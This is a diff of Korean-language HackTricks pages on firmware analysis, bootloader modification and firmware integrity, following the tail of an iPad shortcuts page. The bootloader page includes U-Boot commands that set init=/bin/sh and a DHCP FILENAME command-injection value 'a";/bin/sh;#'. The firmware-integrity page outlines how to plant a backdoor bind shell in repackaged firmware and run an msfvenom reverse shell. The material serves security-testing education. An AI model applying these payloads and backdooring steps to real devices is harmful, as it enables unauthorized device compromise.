| ⌘R | 현재 탭 새로 고침 |
|
||||
| ⌘. | 현재 탭 로딩 중지 |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | 메일함에서 검색 |
|
||||
|
||||
# 참고 자료
|
||||
|
||||
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 팁을 공유**하세요.
|
||||
|
||||
</details>
|
278
hardware-physical-access/firmware-analysis/README.md
Normal file
278
hardware-physical-access/firmware-analysis/README.md
Normal file
|
@ -0,0 +1,278 @@
|
|||
# Firmware Analysis
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **소개**
|
||||
|
||||
펌웨어는 하드웨어 구성 요소와 사용자가 상호 작용하는 소프트웨어 간의 통신을 관리하고 운영체제의 시작으로 이어지는 중요한 소프트웨어입니다. 펌웨어는 영구 메모리에 저장되어 장치가 전원을 켤 때부터 필수적인 지침에 액세스할 수 있도록 하여 운영체제를 시작합니다. 펌웨어를 조사하고 수정하는 것은 보안 취약점을 식별하는 중요한 단계입니다.
|
||||
|
||||
## **정보 수집**
|
||||
|
||||
**정보 수집**은 장치의 구성과 사용하는 기술을 이해하기 위한 중요한 초기 단계입니다. 이 과정은 다음과 같은 데이터 수집을 포함합니다:
|
||||
|
||||
* CPU 아키텍처 및 실행 중인 운영체제
|
||||
* 부트로더 세부 정보
|
||||
* 하드웨어 레이아웃 및 데이터 시트
|
||||
* 코드베이스 메트릭 및 소스 위치
|
||||
* 외부 라이브러리 및 라이선스 유형
|
||||
* 업데이트 기록 및 규정 준수 인증
|
||||
* 아키텍처 및 플로우 다이어그램
|
||||
* 보안 평가 및 식별된 취약점
|
||||
|
||||
이를 위해 **오픈 소스 인텔리전스 (OSINT)** 도구와 수동 및 자동 검토 프로세스를 통해 사용 가능한 오픈 소스 소프트웨어 구성 요소를 분석하는 것이 매우 중요합니다. [Coverity Scan](https://scan.coverity.com) 및 [Semmle’s LGTM](https://lgtm.com/#explore)과 같은 도구는 잠재적인 문제를 찾기 위해 활용할 수 있는 무료 정적 분석을 제공합니다.
|
||||
|
||||
## **펌웨어 획득**
|
||||
|
||||
펌웨어를 얻는 방법은 복잡성에 따라 다양하게 접근할 수 있습니다:
|
||||
|
||||
* **직접** 소스(개발자, 제조업체)로부터
|
||||
* 제공된 지침에 따라 **빌드**하기
|
||||
* 공식 지원 사이트에서 **다운로드**하기
|
||||
* 호스팅된 펌웨어 파일을 찾기 위해 **Google 도크** 쿼리 사용
|
||||
* [S3Scanner](https://github.com/sa7mon/S3Scanner)와 같은 도구를 사용하여 **클라우드 스토리지**에 직접 액세스하기
|
||||
* 중간자 공격 기술을 사용하여 **업데이트** 가로채기
|
||||
* **UART**, **JTAG**, 또는 **PICit**와 같은 연결을 통해 장치에서 **추출**하기
|
||||
* 장치 통신 내에서 업데이트 요청을 **스니핑**하기
|
||||
* **하드코딩된 업데이트 엔드포인트** 식별 및 사용하기
|
||||
* 부트로더 또는 네트워크에서 **덤프**하기
|
||||
* 모든 것이 실패한 경우 적절한 하드웨어 도구를 사용하여 저장 칩을 **제거하고 읽기**
|
||||
|
||||
## 펌웨어 분석
|
||||
|
||||
이제 **펌웨어를 가지고 있으므로**, 어떻게 처리할지에 대한 정보를 추출해야 합니다. 이를 위해 다음과 같은 도구를 사용할 수 있습니다:
|
||||
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #print offsets in hex
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
|
||||
만약 이러한 도구로 많은 것을 찾지 못한다면 `binwalk -E <bin>` 명령으로 이미지의 **엔트로피**를 확인해보세요. 엔트로피가 낮다면 암호화되지 않았을 가능성이 높습니다. 엔트로피가 높다면 (또는 어떤 방식으로 압축되었다면) 암호화되었을 가능성이 높습니다.
|
||||
|
||||
또한, 다음 도구를 사용하여 **펌웨어에 내장된 파일을 추출**할 수 있습니다:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
또는 [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/))를 사용하여 파일을 검사할 수 있습니다.
|
||||
|
||||
### 파일 시스템 가져오기
|
||||
|
||||
이전에 언급한 `binwalk -ev <bin>`과 같은 도구를 사용하여 **파일 시스템을 추출**할 수 있어야 합니다.\
|
||||
보통 binwalk는 **파일 시스템의 이름으로 된 폴더**에 추출합니다. 이 폴더의 이름은 보통 다음 중 하나입니다: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### 수동 파일 시스템 추출
|
||||
|
||||
가끔씩 binwalk는 **파일 시스템의 매직 바이트를 식별하지 못할 수 있습니다**. 이러한 경우, binwalk를 사용하여 파일 시스템의 오프셋을 찾고 바이너리에서 압축된 파일 시스템을 **수동으로 추출**한 다음 아래 단계에 따라 파일 시스템을 해당 유형에 맞게 수동으로 추출하면 됩니다.
|
||||
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
----------------------------------------------------------------------------- ---
|
||||
|
||||
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
|
||||
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
|
||||
다음 **dd 명령어**를 실행하여 Squashfs 파일 시스템을 추출하십시오.
|
||||
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536+0 records in
|
||||
|
||||
8257536+0 records out
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
|
||||
또한 다음 명령어를 실행할 수도 있습니다.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
* squashfs에 대한 경우 (위의 예시에서 사용됨)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
파일은 이후 "`squashfs-root`" 디렉토리에 있을 것입니다.
|
||||
|
||||
* CPIO 아카이브 파일
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
* jffs2 파일 시스템의 경우
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
* NAND 플래시를 사용하는 ubifs 파일 시스템의 경우
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## 펌웨어 분석
|
||||
|
||||
펌웨어를 얻은 후, 그 구조와 잠재적인 취약점을 이해하기 위해 분석해야 합니다. 이 과정에서 다양한 도구를 사용하여 펌웨어 이미지에서 가치 있는 데이터를 분석하고 추출합니다.
|
||||
|
||||
### 초기 분석 도구
|
||||
|
||||
바이너리 파일(`<bin>`으로 지칭됨)을 초기 검사하기 위해 일련의 명령어가 제공됩니다. 이 명령어는 파일 유형을 식별하고 문자열을 추출하며, 바이너리 데이터를 분석하고, 파티션 및 파일 시스템 세부 정보를 이해하는 데 도움이 됩니다:
|
||||
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #prints offsets in hexadecimal
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
|
||||
이미지의 암호화 상태를 평가하기 위해 **엔트로피**는 `binwalk -E <bin>`으로 확인됩니다. 낮은 엔트로피는 암호화 부재를 나타내며, 높은 엔트로피는 가능한 암호화 또는 압축을 나타냅니다.
|
||||
|
||||
**내장된 파일**을 추출하기 위해, **file-data-carving-recovery-tools** 문서와 파일 검사를 위한 **binvis.io**와 같은 도구와 자원을 추천합니다.
|
||||
|
||||
### 파일시스템 추출
|
||||
|
||||
`binwalk -ev <bin>`을 사용하면 일반적으로 파일시스템을 추출할 수 있으며, 종종 파일시스템 유형에 따라 이름이 지정된 디렉토리에 추출됩니다(예: squashfs, ubifs). 그러나 **binwalk**가 마법 바이트가 누락되어 파일시스템 유형을 인식하지 못하는 경우 수동 추출이 필요합니다. 이는 `binwalk`를 사용하여 파일시스템의 오프셋을 찾은 다음 `dd` 명령을 사용하여 파일시스템을 추출하는 것을 포함합니다:
|
||||
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
|
||||
그 후에, 파일 시스템 유형에 따라 (예: squashfs, cpio, jffs2, ubifs), 내용을 수동으로 추출하기 위해 다른 명령을 사용합니다.
|
||||
|
||||
### 파일 시스템 분석
|
||||
|
||||
파일 시스템을 추출한 후에는 보안 취약점을 찾기 시작합니다. 보안 취약한 네트워크 데몬, 하드코딩된 자격 증명, API 엔드포인트, 업데이트 서버 기능, 컴파일되지 않은 코드, 시작 스크립트 및 오프라인 분석을 위한 컴파일된 이진 파일에 주의를 기울입니다.
|
||||
|
||||
검사해야 할 **주요 위치** 및 **항목**은 다음과 같습니다:
|
||||
|
||||
* 사용자 자격 증명을 위한 **etc/shadow** 및 **etc/passwd**
|
||||
* **etc/ssl**에 있는 SSL 인증서 및 키
|
||||
* 잠재적인 취약점을 위한 구성 및 스크립트 파일
|
||||
* 추가 분석을 위한 포함된 이진 파일
|
||||
* 일반적인 IoT 장치 웹 서버 및 이진 파일
|
||||
|
||||
파일 시스템 내에서 민감한 정보와 취약점을 발견하기 위해 여러 도구를 사용할 수 있습니다:
|
||||
|
||||
* 민감한 정보 검색을 위한 [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) 및 [**Firmwalker**](https://github.com/craigz28/firmwalker)
|
||||
* 포괄적인 펌웨어 분석을 위한 [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core)
|
||||
* 정적 및 동적 분석을 위한 [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) 및 [**EMBA**](https://github.com/e-m-b-a/emba)
|
||||
|
||||
### 컴파일된 이진 파일의 보안 검사
|
||||
|
||||
파일 시스템에서 찾은 소스 코드와 컴파일된 이진 파일은 취약점을 조사해야 합니다. Unix 이진 파일에 대한 **checksec.sh** 및 Windows 이진 파일에 대한 **PESecurity**와 같은 도구를 사용하여 악용될 수 있는 보호되지 않은 이진 파일을 식별할 수 있습니다.
|
||||
|
||||
## 동적 분석을 위한 펌웨어 에뮬레이션
|
||||
|
||||
펌웨어를 에뮬레이션하여 장치의 동작 또는 개별 프로그램을 **동적 분석**할 수 있습니다. 이 접근 방식은 하드웨어 또는 아키텍처 종속성으로 인해 도전을 겪을 수 있지만, 루트 파일 시스템이나 특정 이진 파일을 Raspberry Pi와 같은 일치하는 아키텍처와 엔디안을 가진 장치로 전송하거나 미리 구축된 가상 머신에 전송하여 추가 테스트를 용이하게 할 수 있습니다.
|
||||
|
||||
### 개별 이진 파일 에뮬레이션
|
||||
|
||||
개별 프로그램을 검사하기 위해서는 프로그램의 엔디안과 CPU 아키텍처를 식별하는 것이 중요합니다.
|
||||
|
||||
#### MIPS 아키텍처 예제
|
||||
|
||||
MIPS 아키텍처 이진 파일을 에뮬레이션하기 위해 다음 명령을 사용할 수 있습니다:
|
||||
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
|
||||
그리고 필요한 에뮬레이션 도구를 설치하십시오:
|
||||
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
|
||||
MIPS (big-endian)의 경우 `qemu-mips`를 사용하고, little-endian 바이너리의 경우 `qemu-mipsel`을 선택해야 합니다.
|
||||
|
||||
#### ARM 아키텍처 에뮬레이션
|
||||
|
||||
ARM 바이너리의 경우, 에뮬레이션을 위해 `qemu-arm` 에뮬레이터를 사용합니다.
|
||||
|
||||
### 전체 시스템 에뮬레이션
|
||||
|
||||
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 등의 도구를 사용하면 전체 펌웨어 에뮬레이션을 수행하여 프로세스를 자동화하고 동적 분석을 돕습니다.
|
||||
|
||||
## 실제 동적 분석 기법
|
||||
|
||||
이 단계에서는 실제 또는 에뮬레이션된 장치 환경을 사용하여 분석합니다. OS와 파일 시스템에 대한 쉘 액세스를 유지하는 것이 중요합니다. 에뮬레이션은 하드웨어 상호작용을 완벽하게 모방하지 못할 수 있으므로 때로는 에뮬레이션을 다시 시작해야 할 수도 있습니다. 분석은 파일 시스템을 다시 검토하고 노출된 웹 페이지 및 네트워크 서비스를 이용하며 부트로더 취약점을 탐색해야 합니다. 펌웨어 무결성 테스트는 잠재적인 배후 취약점을 식별하는 데 중요합니다.
|
||||
|
||||
## 런타임 분석 기법
|
||||
|
||||
런타임 분석은 gdb-multiarch, Frida, Ghidra와 같은 도구를 사용하여 프로세스나 바이너리와 상호작용하며 퍼징 및 기타 기법을 통해 취약점을 식별하는 것을 의미합니다.
|
||||
|
||||
## 바이너리 공격과 PoC
|
||||
|
||||
식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로의 프로그래밍 능력이 필요합니다. 임베디드 시스템에서의 바이너리 런타임 보호 기능은 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기법이 필요할 수 있습니다.
|
||||
|
||||
## 펌웨어 분석을 위한 준비된 운영 체제
|
||||
|
||||
[AttifyOS](https://github.com/adi0x90/attifyos)와 [EmbedOS](https://github.com/scriptingxss/EmbedOS)와 같은 운영 체제는 필요한 도구가 탑재된 펌웨어 보안 테스트를 위한 사전 구성된 환경을 제공합니다.
|
||||
|
||||
## 펌웨어 분석을 위한 준비된 운영 체제
|
||||
|
||||
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS는 사물 인터넷(IoT) 장치의 보안 평가 및 침투 테스트를 수행하는 데 도움이 되는 배포판입니다. 필요한 도구가 로드된 사전 구성된 환경을 제공하여 시간을 절약해 줍니다.
|
||||
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): 펌웨어 보안 테스트 도구가 탑재된 Ubuntu 18.04 기반의 임베디드 보안 테스트 운영 체제입니다.
|
||||
|
||||
## 연습용 취약한 펌웨어
|
||||
|
||||
펌웨어에서 취약점을 발견하기 위해 다음과 같은 취약한 펌웨어 프로젝트를 시작점으로 활용할 수 있습니다.
|
||||
|
||||
* OWASP IoTGoat
|
||||
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
* The Damn Vulnerable Router Firmware Project
|
||||
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
* Damn Vulnerable ARM Router (DVAR)
|
||||
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
* ARM-X
|
||||
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
* Azeria Labs VM 2.0
|
||||
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
* Damn Vulnerable IoT Device (DVID)
|
||||
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
|
||||
## 교육 및 인증
|
||||
|
||||
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,71 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
다음은 U-boot와 같은 장치 시작 구성 및 부트로더를 수정하는 권장 단계입니다:
|
||||
|
||||
1. **부트로더의 인터프리터 셸에 액세스**:
|
||||
- 부팅 중에 "0", 스페이스 또는 기타 식별된 "마법 코드"를 눌러 부트로더의 인터프리터 셸에 액세스합니다.
|
||||
|
||||
2. **부트 인수 수정**:
|
||||
- 다음 명령을 실행하여 부트 인수에 '`init=/bin/sh`'를 추가하여 셸 명령을 실행할 수 있도록 합니다:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
%%%
|
||||
|
||||
3. **TFTP 서버 설정**:
|
||||
- 로컬 네트워크를 통해 이미지를 로드하기 위해 TFTP 서버를 구성합니다:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #장치의 로컬 IP
|
||||
#setenv serverip 192.168.2.1 #TFTP 서버 IP
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #네트워크 액세스 확인
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr는 파일을 로드할 주소와 TFTP 서버의 이미지 파일 이름을 가져옵니다.
|
||||
%%%
|
||||
|
||||
4. **`ubootwrite.py` 활용**:
|
||||
- `ubootwrite.py`를 사용하여 U-boot 이미지를 작성하고 수정된 펌웨어를 푸시하여 루트 액세스를 얻습니다.
|
||||
|
||||
5. **디버그 기능 확인**:
|
||||
- 디버그 기능(자세한 로깅, 임의의 커널 로드, 신뢰할 수 없는 소스에서 부팅 등)이 활성화되어 있는지 확인합니다.
|
||||
|
||||
6. **주의할 하드웨어 간섭**:
|
||||
- 장치 부팅 순서 중에 커널이 압축 해제되기 전에 SPI 또는 NAND 플래시 칩과 상호 작용하면서 하나의 핀을 접지할 때 주의해야 합니다. 핀을 단락시키기 전에 NAND 플래시 칩의 데이터시트를 참조하세요.
|
||||
|
||||
7. **로그 DHCP 서버 구성**:
|
||||
- PXE 부팅 중 장치가 흡수할 악성 매개변수로 로그 DHCP 서버를 설정합니다. Metasploit의 (MSF) DHCP 보조 서버와 같은 도구를 활용합니다. 'FILENAME' 매개변수를 `'a";/bin/sh;#'`와 같은 명령 주입 명령으로 수정하여 장치 시작 절차의 입력 유효성 검사를 테스트합니다.
|
||||
|
||||
**참고**: 장치 핀과의 물리적 상호 작용을 포함하는 단계(*별표로 표시됨)는 장치를 손상시키지 않기 위해 매우 주의해서 접근해야 합니다.
|
||||
|
||||
|
||||
## 참고 자료
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,58 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## Firmware Integrity
|
||||
|
||||
**사용자 정의 펌웨어 및/또는 컴파일된 이진 파일은 무결성 또는 서명 검증 취약점을 이용하여 업로드될 수 있습니다**. 백도어 바인드 쉘 컴파일을 위해 다음 단계를 따를 수 있습니다:
|
||||
|
||||
1. 펌웨어를 firmware-mod-kit (FMK)를 사용하여 추출할 수 있습니다.
|
||||
2. 대상 펌웨어 아키텍처와 엔디안을 식별해야 합니다.
|
||||
3. Buildroot 또는 다른 적합한 방법을 사용하여 환경에 맞는 크로스 컴파일러를 빌드할 수 있습니다.
|
||||
4. 크로스 컴파일러를 사용하여 백도어를 빌드할 수 있습니다.
|
||||
5. 백도어를 추출된 펌웨어의 /usr/bin 디렉토리로 복사할 수 있습니다.
|
||||
6. 적절한 QEMU 바이너리를 추출된 펌웨어 rootfs로 복사할 수 있습니다.
|
||||
7. chroot와 QEMU를 사용하여 백도어를 에뮬레이션할 수 있습니다.
|
||||
8. netcat을 통해 백도어에 액세스할 수 있습니다.
|
||||
9. 추출된 펌웨어 rootfs에서 QEMU 바이너리를 제거해야 합니다.
|
||||
10. FMK를 사용하여 수정된 펌웨어를 다시 패키징할 수 있습니다.
|
||||
11. 백도어가 추가된 펌웨어를 firmware analysis toolkit (FAT)를 사용하여 에뮬레이션하고 netcat을 사용하여 대상 백도어 IP와 포트에 연결하여 테스트할 수 있습니다.
|
||||
|
||||
동적 분석, 부트로더 조작 또는 하드웨어 보안 테스트를 통해 이미 루트 쉘이 획득된 경우, 임플란트 또는 리버스 쉘과 같은 사전 컴파일된 악성 이진 파일을 실행할 수 있습니다. Metasploit 프레임워크와 'msfvenom'과 같은 자동화된 페이로드/임플란트 도구를 사용하여 다음 단계를 수행할 수 있습니다:
|
||||
|
||||
1. 대상 펌웨어 아키텍처와 엔디안을 식별해야 합니다.
|
||||
2. Msfvenom을 사용하여 대상 페이로드, 공격자 호스트 IP, 수신 포트 번호, 파일 유형, 아키텍처, 플랫폼 및 출력 파일을 지정할 수 있습니다.
|
||||
3. 페이로드를 감염된 장치로 전송하고 실행 권한이 있는지 확인해야 합니다.
|
||||
4. Metasploit을 시작하고 페이로드에 따라 설정을 구성하여 수신 요청을 처리할 준비를 할 수 있습니다.
|
||||
5. 감염된 장치에서 meterpreter 리버스 쉘을 실행할 수 있습니다.
|
||||
6. 열리는 meterpreter 세션을 모니터링할 수 있습니다.
|
||||
7. 사후 공격 활동을 수행할 수 있습니다.
|
||||
|
||||
